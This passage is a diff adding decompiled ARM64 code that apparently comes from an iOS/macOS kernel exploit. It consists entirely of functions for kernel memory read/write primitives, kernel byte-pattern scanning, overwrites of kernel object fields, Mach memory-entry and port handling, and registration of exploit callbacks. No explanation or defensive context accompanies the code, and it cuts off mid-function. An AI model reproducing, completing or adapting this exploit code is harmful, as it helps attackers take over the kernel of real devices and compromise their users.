__int64 v4; // x20 + __int64 v5; // x21 + __int64 result; // x0 + _OWORD v7[16]; // [xsp+0h] [xbp-130h] BYREF + + v4 = *(_QWORD *)(a1 + 0x5D0); + (*(void (__fastcall **)(__int64, _QWORD))(a1 + 0x5B8))(v4, a2[8]); + (*(void (__fastcall **)(_QWORD, _QWORD))(a1 + 0x5B8))(*(_QWORD *)(a1 + 0x5D0), a2[0xD]); + vm_deallocate(mach_task_self_, a2[8], 0x4000uLL); + a2[8] = 0LL; + vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); + a2[0xD] = 0LL; + v5 = a2[7] - *(_QWORD *)(a1 + 0x540); + memset(v7, 0, sizeof(v7)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v5, v7, 0x100LL, 1LL); + *((_QWORD *)&v7[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( + v4, + v5 + 0x48, + (char *)&v7[4] + 8, + 8LL, + 1LL); + vm_deallocate(mach_task_self_, a2[0x14], 0x10000uLL); + a2[0x14] = 0LL; + vm_deallocate(mach_task_self_, a2[0x15], 0x10000uLL); + a2[0x15] = 0LL; + vm_deallocate(mach_task_self_, a2[0x16], 0x10000uLL); + a2[0x16] = 0LL; + result = vm_deallocate(mach_task_self_, a2[0x17], 0x10000uLL); + a2[0x17] = 0LL; + return result; +} + +//----- (00000000000096D8) ---------------------------------------------------- +__int64 __fastcall sub_96D8(__int64 a1, _QWORD *a2) +{ + __int64 v4; // x20 + __int64 v5; // x9 + __int64 v6; // x22 + __int64 v7; // x21 + __int64 result; // x0 + _OWORD v9[16]; // [xsp+0h] [xbp-240h] BYREF + _OWORD v10[16]; // [xsp+100h] [xbp-140h] BYREF + + v4 = *(_QWORD *)(a1 + 0x5D0); + (*(void (__fastcall **)(__int64, _QWORD))(a1 + 0x5B8))(v4, a2[0xD]); + vm_deallocate(mach_task_self_, a2[0xD], 0x4000uLL); + a2[0xD] = 0LL; + v5 = *(_QWORD *)(a1 + 0x540); + v6 = a2[2] - v5; + v7 = a2[0xC] - v5; + memset(v10, 0, sizeof(v10)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v6, v10, 0x100LL, 1LL); + DWORD2(v10[2]) = 3; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( + v4, + v6 + 0x28, + (char *)&v10[2] + 8, + 4LL, + 1LL); + memset(v9, 0, sizeof(v9)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v4 + 0x30))(v4, v7, v9, 0x100LL, 1LL); + *((_QWORD *)&v9[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v4 + 0x40))( + v4, + v7 + 0x48, + (char *)&v9[4] + 8, + 8LL, + 1LL); + vm_deallocate(mach_task_self_, a2[0x14], 0x4000uLL); + a2[0x14] = 0LL; + vm_deallocate(mach_task_self_, a2[0x15], 0x10000uLL); + a2[0x15] = 0LL; + vm_deallocate(mach_task_self_, a2[0x16], 0x10000uLL); + a2[0x16] = 0LL; + vm_deallocate(mach_task_self_, a2[0x17], 0x10000uLL); + a2[0x17] = 0LL; + vm_deallocate(mach_task_self_, a2[0x18], 0x10000uLL); + a2[0x18] = 0LL; + result = vm_deallocate(mach_task_self_, a2[0x19], 0x10000uLL); + a2[0x19] = 0LL; + return result; +} + +//----- (00000000000098A4) ---------------------------------------------------- +__int64 __fastcall sub_98A4(__int64 a1, _QWORD *a2) +{ + __int64 v3; // x20 + __int64 v4; // x9 + __int64 v5; // x23 + __int64 v6; // x22 + __int64 v7; // x21 + __int64 result; // x0 + _OWORD v9[16]; // [xsp+0h] [xbp-340h] BYREF + _OWORD v10[16]; // [xsp+100h] [xbp-240h] BYREF + _OWORD v11[16]; // [xsp+200h] [xbp-140h] BYREF + + v3 = *(_QWORD *)(a1 + 0x5D0); + v4 = *(_QWORD *)(a1 + 0x540); + v5 = a2[2] - v4; + v6 = a2[7] - v4; + v7 = a2[0xC] - v4; + memset(v11, 0, sizeof(v11)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v5, v11, 0x100LL, 1LL); + *((_QWORD *)&v11[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v5 + 0x48, + (char *)&v11[4] + 8, + 8LL, + 1LL); + memset(v10, 0, sizeof(v10)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v6, v10, 0x100LL, 1LL); + *((_QWORD *)&v10[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v6 + 0x48, + (char *)&v10[4] + 8, + 8LL, + 1LL); + memset(v9, 0, sizeof(v9)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v7, v9, 0x100LL, 1LL); + *((_QWORD *)&v9[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v7 + 0x48, + (char *)&v9[4] + 8, + 8LL, + 1LL); + *((_QWORD *)&v9[3] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v7 + 0x38, + (char *)&v9[3] + 8, + 8LL, + 1LL); + vm_deallocate(mach_task_self_, a2[0x14], 0x4000uLL); + a2[0x14] = 0LL; + vm_deallocate(mach_task_self_, a2[0x1A], 0x10000uLL); + a2[0x1A] = 0LL; + vm_deallocate(mach_task_self_, a2[0x1B], 0x10000uLL); + a2[0x1B] = 0LL; + vm_deallocate(mach_task_self_, a2[0x1C], 0x10000uLL); + a2[0x1C] = 0LL; + result = vm_deallocate(mach_task_self_, a2[0x1D], 0x10000uLL); + a2[0x1D] = 0LL; + return result; +} + +//----- (0000000000009AC0) ---------------------------------------------------- +void __fastcall sub_9AC0(__int64 a1) +{ + __int64 v2; // x24 + __int64 v3; // x20 + vm_address_t **v4; // x27 + vm_address_t *v5; // x21 + vm_address_t *v6; // x26 + _QWORD *v7; // x25 + __int64 v8; // x9 + __int64 v9; // x23 + _QWORD *v10; // x28 + __int64 v11; // x22 + __int64 v12; // x21 + __int64 v13; // x1 + __int64 v14; // x21 + vm_address_t *v15; // x21 + __int64 v16; // [xsp+28h] [xbp-488h] + __int64 v17; // [xsp+30h] [xbp-480h] + _QWORD *v18; // [xsp+38h] [xbp-478h] + _OWORD v19[16]; // [xsp+40h] [xbp-470h] BYREF + _OWORD v20[16]; // [xsp+140h] [xbp-370h] BYREF + _OWORD v21[16]; // [xsp+240h] [xbp-270h] BYREF + _OWORD v22[16]; // [xsp+340h] [xbp-170h] BYREF + _QWORD v23[2]; // [xsp+440h] [xbp-70h] + + v2 = 0LL; + v3 = *(_QWORD *)(a1 + 0x5D0); + v4 = (vm_address_t **)(a1 + 0x4B8); + v23[0] = a1 + 0x4B8; + v23[1] = a1 + 0x4D8; + v16 = a1 + 0x4D8; + v17 = a1 + 0x4B8; + while ( 1 ) + { + v5 = v4[1]; + if ( v5 ) + break; + v6 = *v4; + v7 = *v4 + 2; + v8 = *(_QWORD *)(a1 + 0x540); + v9 = *v7 - v8; + v10 = *v4 + 7; + v11 = *v10 - v8; + v18 = *v4 + 0xC; + v12 = *v18 - v8; + memset(v22, 0, sizeof(v22)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v9, v22, 0x100LL, 1LL); + *((_QWORD *)&v22[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v9 + 0x48, + (char *)&v22[4] + 8, + 8LL, + 1LL); + memset(v21, 0, sizeof(v21)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v11, v21, 0x100LL, 1LL); + *((_QWORD *)&v21[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v11 + 0x48, + (char *)&v21[4] + 8, + 8LL, + 1LL); + memset(v20, 0, sizeof(v20)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v12, v20, 0x100LL, 1LL); + *((_QWORD *)&v20[4] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v12 + 0x48, + (char *)&v20[4] + 8, + 8LL, + 1LL); + *((_QWORD *)&v20[3] + 1) = 0LL; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v12 + 0x38, + (char *)&v20[3] + 8, + 8LL, + 1LL); + if ( v4 == (vm_address_t **)v16 ) + { + sub_6448(v6[0x1A]); + v14 = v13 - *(_QWORD *)(a1 + 0x540); + memset(v19, 0, sizeof(v19)); + (*(void (__fastcall **)(__int64, __int64, _OWORD *, __int64, __int64))(v3 + 0x30))(v3, v14, v19, 0x100LL, 1LL); + DWORD2(v19[2]) = 2; + (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 0x40))( + v3, + v14 + 0x28, + (char *)&v19[2] + 8, + 4LL, + 1LL); + } + vm_deallocate(mach_task_self_, v6[0x1C], 0x10000uLL); + v6[0x1C] = 0LL; + vm_deallocate(mach_task_self_, v6[0x1D], 0x10000uLL); + v6[0x1D] = 0LL; + if ( v4 == (vm_address_t **)v17 ) + { + vm_deallocate(mach_task_self_, v6[0x1A], 0x10000uLL); + v6[0x1A] = 0LL; + vm_deallocate(mach_task_self_, v6[0x1B], 0x10000uLL); + v6[0x1B] = 0LL; + vm_deallocate(mach_task_self_, v6[0x1E], 0xC000uLL); + v6[0x1E] = 0LL; + v15 = v6 + 0x1F; + } + else + { + vm_deallocate(mach_task_self_, v6[0x1A], 0xC000uLL); + v6[0x1A] = 0LL; + v15 = v6 + 0x1B; + } + vm_deallocate(mach_task_self_, *v15, 0xC000uLL); + *v15 = 0LL; + sub_91E0(a1, (__int64)v7); + sub_91E0(a1, (__int64)v10); + sub_91E0(a1, (__int64)v18); + free(v6); + if ( ++v2 == 2 ) + return; + v4 = (vm_address_t **)v23[v2]; + } + v4[1] = (vm_address_t *)*v5; + switch ( v5[1] ) + { + case 1uLL: + sub_93B0(a1, (__int64)v5); + break; + case 2uLL: + sub_9410(a1, v5); + break; + case 3uLL: + sub_94B0(a1, v5); + break; + case 4uLL: + sub_9588(a1, v5); + break; + case 5uLL: + sub_96D8(a1, v5); + break; + case 6uLL: + sub_98A4(a1, v5); + break; + default: + JUMPOUT(0x9BDCLL); + } + def_9B7C(); +} +// 9B7C: control flows out of bounds to 9BDC +// 9D9C: variable 'v13' is possibly undefined + +//----- (0000000000009BDC) ---------------------------------------------------- +void def_9B7C() +{ + __int64 v0; // x19 + void *v1; // x21 + + sub_91E0(v0, (__int64)v1 + 0x10); + sub_91E0(v0, (__int64)v1 + 0x38); + sub_91E0(v0, (__int64)v1 + 0x60); + free(v1); + JUMPOUT(0x9B40LL); +} +// 9C08: control flows out of bounds to 9B40 +// 9BE4: variable 'v0' is possibly undefined +// 9BDC: variable 'v1' is possibly undefined + +//----- (0000000000009F4C) ---------------------------------------------------- +__int64 __fastcall sub_9F4C(__int64 a1) +{ + _QWORD *v2; // x0 + __int64 (__fastcall *v3)(__int64, __int64); // x2 + __int64 v4; // x0 + __int64 v5; // x1 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = *(_QWORD **)a1; + if ( v2 ) + { + do + { + *(_QWORD *)a1 = *v2; + sub_68F4((__int64)v2); + v2 = *(_QWORD **)a1; + } + while ( *(_QWORD *)a1 ); + } + vm_deallocate(mach_task_self_, *(_QWORD *)(a1 + 0x20), (*(_QWORD *)(a1 + 0x598) << 0xE) + 0xC000LL); + *(_QWORD *)(a1 + 0x20) = 0LL; + sub_9150(a1); + sub_925C(a1); + sub_9AC0(a1); + atomic_load((unsigned __int8 *)(a1 + 0x500)); + atomic_load((unsigned __int8 *)(a1 + 0x510)); + v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 0x5C8); + v4 = *(_QWORD *)(a1 + 0x5D0); + v5 = *(_QWORD *)(a1 + 0x550); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return v3(v4, v5); +} +// 9FE0: variable 'vars8' is possibly undefined + +//----- (0000000000009FF0) ---------------------------------------------------- +void __fastcall sub_9FF0(vm_address_t *a1) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + a1[0xB0] = 0LL; + vm_deallocate(mach_task_self_, a1[0xA9], 0xC000uLL); + a1[0xA9] = 0LL; + vm_deallocate(mach_task_self_, a1[0xAA], 0xC000uLL); + a1[0xAA] = 0LL; + vm_deallocate(mach_task_self_, a1[0xAC], 0xC000uLL); + a1[0xAC] = 0LL; + vm_deallocate(mach_task_self_, a1[0xAD], 0xC000uLL); + a1[0xAD] = 0LL; + vm_deallocate(mach_task_self_, a1[0xAF], 0xC000uLL); + a1[0xAF] = 0LL; + bzero(a1, 0x5E8uLL); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); +} +// A090: variable 'vars8' is possibly undefined + +//----- (000000000000A0A0) ---------------------------------------------------- +__int64 __fastcall sub_A0A0(__int64 a1) +{ + __int64 v2; // x20 + __int64 v3; // x0 + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x21 + unsigned __int64 v6; // x22 + unsigned __int64 v7; // x22 + __int64 v8; // x0 + __int64 *v9; // x0 + __int64 v10; // x24 + unsigned __int64 v11; // x25 + __int64 v12; // x23 + __int64 v13; // x21 + _QWORD v15[3]; // [xsp+0h] [xbp-A0h] BYREF + _QWORD v16[3]; // [xsp+18h] [xbp-88h] BYREF + int v17; // [xsp+34h] [xbp-6Ch] BYREF + unsigned __int64 v18; // [xsp+38h] [xbp-68h] BYREF + int v19; // [xsp+40h] [xbp-60h] BYREF + int v20; // [xsp+44h] [xbp-5Ch] BYREF + __int64 v21; // [xsp+48h] [xbp-58h] BYREF + __int64 v22; // [xsp+50h] [xbp-50h] BYREF + __int64 v23; // [xsp+58h] [xbp-48h] BYREF + + v2 = 0xAD011LL; + v23 = 0LL; + v21 = 0LL; + v22 = 0LL; + sub_19D10(*(_QWORD *)(a1 + 0x19F8), v16); + v3 = kernel_pattern_scan((__int64)v16, "08 3D 40 92 09 18 80 52", 0); + if ( !v3 ) + return v2; + v4 = sub_1E620(*(__int64 **)(a1 + 0x19F8), v3 + 8); + if ( !v4 ) + return v2; + v5 = v4; + v6 = v4 + 0x1BC0; + if ( !kread64((_DWORD *)a1, v4 + 0x1BC0, &v22) ) + return 0x2800FLL; + if ( v6 != v22 ) + return 0x28026LL; + if ( !kread64((_DWORD *)a1, v5 + 0x1BD0, &v23) ) + return 0x2800FLL; + if ( (unsigned __int64)(v23 + 0x1000000000000LL) > 0xFFFFFFFFEFFELL ) + return 0x28026LL; + if ( !(unsigned int)kreadbuf_last_1(a1, v23, 4LL, (__int64)&v19) ) + return 0x2800FLL; + if ( v19 != 0x6F206D76 ) + return 0x28011LL; + v7 = v5 + 0x1C00; + if ( !kread64((_DWORD *)a1, v5 + 0x1C00, &v21) ) + return 0x2800FLL; + if ( validate_addr(a1, v21) ) + return 0LL; + sub_19D10(*(_QWORD *)(a1 + 0x19F8), v15); + v8 = kernel_pattern_scan((__int64)v15, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0); + if ( v8 ) + { + v9 = (__int64 *)sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 8)); + if ( v9 ) + { + v10 = (__int64)v9; + v11 = sub_19B30(*(__int64 **)(a1 + 0x19F8), v9); + v12 = v5 + 0x1C68; + if ( (unsigned int)kreadbuf_last_1(a1, v5 + 0x1C68, 4LL, (__int64)&v20) ) + { + if ( v20 ) + { + v17 = 2 * v20; + v13 = v5 + 0x1C08; + v2 = 0x28010LL; + if ( (unsigned int)kwritebuf_last_1(a1, v13, (__int64)&v17, 4LL) ) + { + v18 = v11 + 0xCCCC; + if ( (unsigned int)kwritebuf_last_1(a1, v10, (__int64)&v18, 4LL) ) + { + sub_2AABC(a1, 0x1312D0u); + v2 = 0x2800FLL; + if ( kread64((_DWORD *)a1, v7, &v21) ) + { + if ( validate_addr(a1, v21) || (v17 = 0, (unsigned int)kwritebuf_last_1(a1, v13, (__int64)&v17, 4LL)) ) + { + if ( (unsigned int)kreadbuf_last_1(a1, v12, 4LL, (__int64)&v20) ) + return 0LL; + else + return 0x2800FLL; + } + else + { + return 0x28010LL; + } + } + } + } + return v2; + } + return 0x28011LL; + } + return 0x2800FLL; + } + } + return v2; +} +// A0A0: too many cbuild loops + +//----- (000000000000A354) ---------------------------------------------------- +__int64 __fastcall sub_A354(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) +{ + _QWORD *v5; // x21 + __int64 result; // x0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = 0xFFFFFFFF; + v5 = *(_QWORD **)(a1 + 0x50); + if ( !v5 ) + return 0xAD001LL; + if ( a5 ) + { + result = fd_open_dev_null(&v10); + if ( (_DWORD)result ) + return result; + sub_70A4(v5, a2, a3, a4); + fd_close(v10); + } + else + { + sub_70A4(*(_QWORD **)(a1 + 0x50), a2, a3, a4); + } + return 0LL; +} + +//----- (000000000000A3F0) ---------------------------------------------------- +__int64 __fastcall sub_A3F0(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5) +{ + __int64 v5; // x21 + __int64 result; // x0 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = 0xFFFFFFFF; + v5 = *(_QWORD *)(a1 + 0x50); + if ( !v5 ) + return 0xAD001LL; + if ( a5 ) + { + result = fd_open_dev_null(&v10); + if ( (_DWORD)result ) + return result; + sub_7128(v5, a3, a2, a4); + fd_close(v10); + } + else + { + sub_7128(*(_QWORD *)(a1 + 0x50), a3, a2, a4); + } + return 0LL; +} + +//----- (000000000000A48C) ---------------------------------------------------- +__int64 __fastcall sub_A48C(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + __int64 result; // x0 + _QWORD *v7; // x21 + size_t v10; // x22 + int v11; // [xsp+Ch] [xbp-24h] BYREF + + result = 0xAD001LL; + v11 = 0xFFFFFFFF; + v7 = *(_QWORD **)(a1 + 0x50); + if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) + { + v10 = a4; + if ( a5 ) + { + result = fd_open_dev_null(&v11); + if ( (_DWORD)result ) + return result; + sub_6E30(v7, a2, a3, v10); + fd_close(v11); + } + else + { + sub_6E30(v7, a2, a3, a4); + } + return 0LL; + } + return result; +} + +//----- (000000000000A550) ---------------------------------------------------- +__int64 __fastcall sub_A550(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) +{ + __int64 result; // x0 + _QWORD *v7; // x21 + size_t v10; // x22 + int v11; // [xsp+Ch] [xbp-24h] BYREF + + result = 0xAD001LL; + v11 = 0xFFFFFFFF; + v7 = *(_QWORD **)(a1 + 0x50); + if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size ) + { + v10 = a4; + if ( a5 ) + { + result = fd_open_dev_null(&v11); + if ( (_DWORD)result ) + return result; + sub_6EB8(v7, a3, a2, v10); + fd_close(v11); + } + else + { + sub_6EB8(v7, a3, a2, a4); + } + return 0LL; + } + return result; +} + +//----- (000000000000A614) ---------------------------------------------------- +__int64 __fastcall sub_A614(__int64 a1) +{ + __int64 v2; // x21 + int v3; // w8 + __int128 v4; // q0 + _QWORD *v5; // x0 + _QWORD *v6; // x20 + _QWORD *v7; // x21 + __int128 v8; // q0 + __int128 v10; // [xsp+0h] [xbp-40h] + __int128 v11; // [xsp+10h] [xbp-30h] + + v2 = 0xAD008LL; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + return v2; + v3 = *(_DWORD *)a1 & 0x518E241; + if ( v3 == 0x100000 ) + { + v10 = xmmword_42D80; + v11 = xmmword_42D90; + } + else + { + if ( v3 == 0x4000000 ) + { + v11 = xmmword_42D70; + v4 = xmmword_42D60; + } + else + { + if ( v3 != 0x1000000 ) + return v2; + v11 = xmmword_42D70; + v4 = xmmword_42DA0; + } + v10 = v4; + } + v5 = calloc(1uLL, 0x5E8uLL); + if ( !v5 ) + return 0xAD009LL; + v6 = v5; + if ( *((_QWORD *)&_os_alloc_once_table + 0xA2) == 0xFFFFFFFFFFFFFFFFLL ) + v7 = (_QWORD *)*((_QWORD *)&_os_alloc_once_table + 0xA3); + else + v7 = (_QWORD *)_os_alloc_once(); + if ( *v7 ) + v6[2] = *v7; + *(_OWORD *)(v6 + 0xB3) = v11; + *(_OWORD *)(v6 + 0xB5) = v10; + if ( (_QWORD)v11 == 0x10LL ) + { + v8 = xmmword_42D40; + goto LABEL_19; + } + if ( (_QWORD)v11 == 0x40LL ) + { + v8 = xmmword_42D50; +LABEL_19: + *(_OWORD *)(v6 + 0xBB) = v8; + } + setup_thread_policy(); + sub_7630(v6); + sub_7E84(v6); + sub_8710(v6); + sub_8758(v6); + sub_9018(v6); + v6[0xBA] = a1; + if ( !*v7 ) + *v7 = v6[2]; + v2 = 0LL; + *(_QWORD *)(a1 + 0x30) = sub_A354; + *(_QWORD *)(a1 + 0x40) = sub_A3F0; + *(_QWORD *)(a1 + 0x38) = sub_A48C; + *(_QWORD *)(a1 + 0x48) = sub_A550; + *(_QWORD *)(a1 + 0x50) = v6; + v6[0xB7] = sub_A82C; + v6[0xB8] = sub_A8A0; + v6[0xB9] = sub_A914; + *(_QWORD *)(a1 + 0x1E0) = sub_A0A0; + *(_QWORD *)(a1 + 0x1E8) = v6; + return v2; +} +// 42D40: using guessed type __int128 xmmword_42D40; +// 42D50: using guessed type __int128 xmmword_42D50; +// 42D60: using guessed type __int128 xmmword_42D60; +// 42D70: using guessed type __int128 xmmword_42D70; +// 42D80: using guessed type __int128 xmmword_42D80; +// 42D90: using guessed type __int128 xmmword_42D90; +// 42DA0: using guessed type __int128 xmmword_42DA0; + +//----- (000000000000A82C) ---------------------------------------------------- +__int64 __fastcall sub_A82C(_DWORD *a1, unsigned __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v4; // x20 + bool v5; // zf + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + result = sub_33B98(a1, mach_task_self_, a2); + if ( result ) + { + v4 = result + 0x38; + result = kread64_internal((__int64)a1, result + 0x38, &v6); + if ( (_DWORD)result ) + v5 = v6 == 0; + else + v5 = 1; + if ( !v5 ) + return sub_288A4((__int64)a1, v4, 0LL); + } + return result; +} + +//----- (000000000000A8A0) ---------------------------------------------------- +__int64 __fastcall sub_A8A0(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + unsigned __int64 v4; // x20 + __int64 v5; // [xsp+8h] [xbp-18h] BYREF + + result = port_name_to_kaddr(a1, a2); + if ( result ) + { + result = sub_33A88(a1, result, 1); + if ( result ) + { + v4 = result + 0x38; + result = kread64_internal(a1, result + 0x38, &v5); + if ( (_DWORD)result ) + { + if ( v5 ) + return sub_288A4(a1, v4, 0LL); + } + } + } + return result; +} + +//----- (000000000000A914) ---------------------------------------------------- +unsigned __int64 __fastcall sub_A914(__int64 a1, unsigned __int64 a2) +{ + unsigned __int64 result; // x0 + mach_vm_address_t v4; // x20 + bool v5; // zf + int v6; // [xsp+4h] [xbp-1Ch] BYREF + unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF + + v7 = 0LL; + v6 = 0; + result = sub_33D38(a1, mach_task_self_, a2, &v7); + if ( result ) + { + v4 = result + 0x28; + result = kread32_outptr(a1, result + 0x28, &v6); + if ( (_DWORD)result ) + v5 = v6 == 1; + else + v5 = 0; + if ( v5 ) + { + v6 = 0x64; + return noppl_kwrite32(a1, v4, 0x64); + } + } + return result; +} + +//----- (000000000000A99C) ---------------------------------------------------- +__int64 __fastcall sub_A99C(__int64 a1) +{ + __int64 v1; // x0 + + v1 = *(_QWORD *)(a1 + 0x50); + if ( !v1 ) + return 0xAD001LL; + sub_9F4C(v1); + return 0LL; +} + +//----- (000000000000A9CC) ---------------------------------------------------- +__int64 __fastcall sub_A9CC(__int64 a1) +{ + vm_address_t *v1; // x20 + __int64 result; // x0 + int v4; // [xsp+Ch] [xbp-14h] BYREF + + v4 = 0xFFFFFFFF; + v1 = *(vm_address_t **)(a1 + 0x50); + if ( !v1 ) + return 0xAD001LL; + result = fd_open_dev_null(&v4); + if ( !(_DWORD)result ) + { + *(_QWORD *)(a1 + 0x50) = 0LL; + *(_OWORD *)(a1 + 0x30) = 0u; + *(_OWORD *)(a1 + 0x40) = 0u; + sub_9FF0(v1); + fd_close(v4); + return 0LL; + } + return result; +} + +//----- (000000000000AA3C) ---------------------------------------------------- +__int64 __fastcall sub_AA3C(__int64 a1, _DWORD *a2, _DWORD *a3, mach_port_t *a4, _QWORD *a5) +{ + _QWORD *v5; // x25 + __int64 v11; // x19 + memory_object_offset_t v12; // x2 + kern_return_t memory_entry_64; // w0 + memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF + mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF + mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF + + *(_QWORD *)object_handle = 0LL; + name = 0; + v5 = *(_QWORD **)(a1 + 0x50); + if ( !v5 ) + return 0xAD001LL; + v11 = 0x28011LL; + if ( validate_addr(a1, v5[0xA3]) ) + { + if ( v5[0xA4] && v5[0xA5] ) + { + if ( validate_addr(a1, v5[0xA6]) && validate_addr(a1, v5[0xA7]) ) + { + v12 = v5[0xAA]; + if ( v12 && v5[0xAC] && v5[0xAF] ) + { + size = 0x4000LL; + memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0); + if ( memory_entry_64 + || (size = 0x4000LL, + (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[0xAC], 3, object_handle, 0)) != 0) + || (size = 0x4000LL, + (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[0xAF] + 0x4000LL, 3, &name, 0)) != 0) ) + { + v11 = memory_entry_64 | 0x80000000; + } + else + { + v11 = 0LL; + a5[0xA] = v5[0xA3]; + a5[0xB] = 0LL; + a5[0xC] = v5[0xA4]; + a5[0xD] = v5[0xA5]; + a5[0xE] = v5[0xA6]; + a5[0xF] = v5[0xA7]; + *a2 = object_handle[1]; + *a3 = object_handle[0]; + *(_QWORD *)object_handle = 0LL; + *a4 = name; + name = 0; + } + } + } + else + { + v11 = 0x28026LL; + } + } + } + else + { + v11 = 0x28026LL; + } + if ( object_handle[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[1]); + if ( object_handle[0] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[0]); + if ( name + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name); + return v11; +} + +//----- (000000000000AC50) ---------------------------------------------------- +__int64 __fastcall sub_AC50(__int64 a1) +{ + vm_size_t v2; // x20 + kern_return_t memory_entry; // w0 + __int64 result; // x0 + _QWORD *v5; // x4 + __int64 v6; // x0 + _DWORD *v7; // x20 + __int64 i; // x23 + unsigned int v9; // w21 + __int64 v10; // x0 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF + vm_address_t address; // [xsp+10h] [xbp-90h] BYREF + vm_size_t size; // [xsp+18h] [xbp-88h] BYREF + __int128 v14; // [xsp+20h] [xbp-80h] + mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF + __int64 v16; // [xsp+40h] [xbp-60h] BYREF + _DWORD v17[4]; // [xsp+48h] [xbp-58h] + + v16 = 0LL; + v15 = 0; + v2 = vm_page_size; + address = 0LL; + size = vm_page_size; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); + if ( memory_entry ) + return memory_entry | 0x80000000; + memory_entry = vm_map(mach_task_self_, &address, v2, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); + if ( memory_entry ) + return memory_entry | 0x80000000; + bzero((void *)address, v2); + v5 = (_QWORD *)address; + *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); + v5[4] = *(_QWORD *)(a1 + 0x1898); + v5[5] = *(unsigned int *)(a1 + 0x18A0); + result = sub_AA3C(a1, (_DWORD *)&v16 + 1, &v16, &v15, v5); + if ( !(_DWORD)result ) + { + vm_deallocate(mach_task_self_, address, v2); + v17[0] = object_handle; + v17[1] = HIDWORD(v16); + v17[2] = v16; + v17[3] = v15; + v14 = xmmword_43740; + v6 = sub_1BD80(a1, 0x15u); + if ( v6 ) + { + v7 = (_DWORD *)v6; + for ( i = 0LL; ; ++i ) + { + v9 = v17[i]; + v10 = sub_32D6C(a1, v9); + if ( !v10 ) + return 0x2800ELL; + result = sub_35E8C(a1, v10); + if ( (_DWORD)result ) + return result; + memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF); + if ( memory_entry ) + return memory_entry | 0x80000000; + *v7 = v9; + if ( i == 3 ) + break; + v7 = (_DWORD *)sub_1BD80(a1, *(_DWORD *)((char *)&v14 + i * 4 + 4)); + result = 0x1001LL; + if ( !v7 ) + return result; + } + return sub_281F0(a1); + } + else + { + return 0x1001LL; + } + } + return result; +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000000AE58) ---------------------------------------------------- +__int64 __fastcall 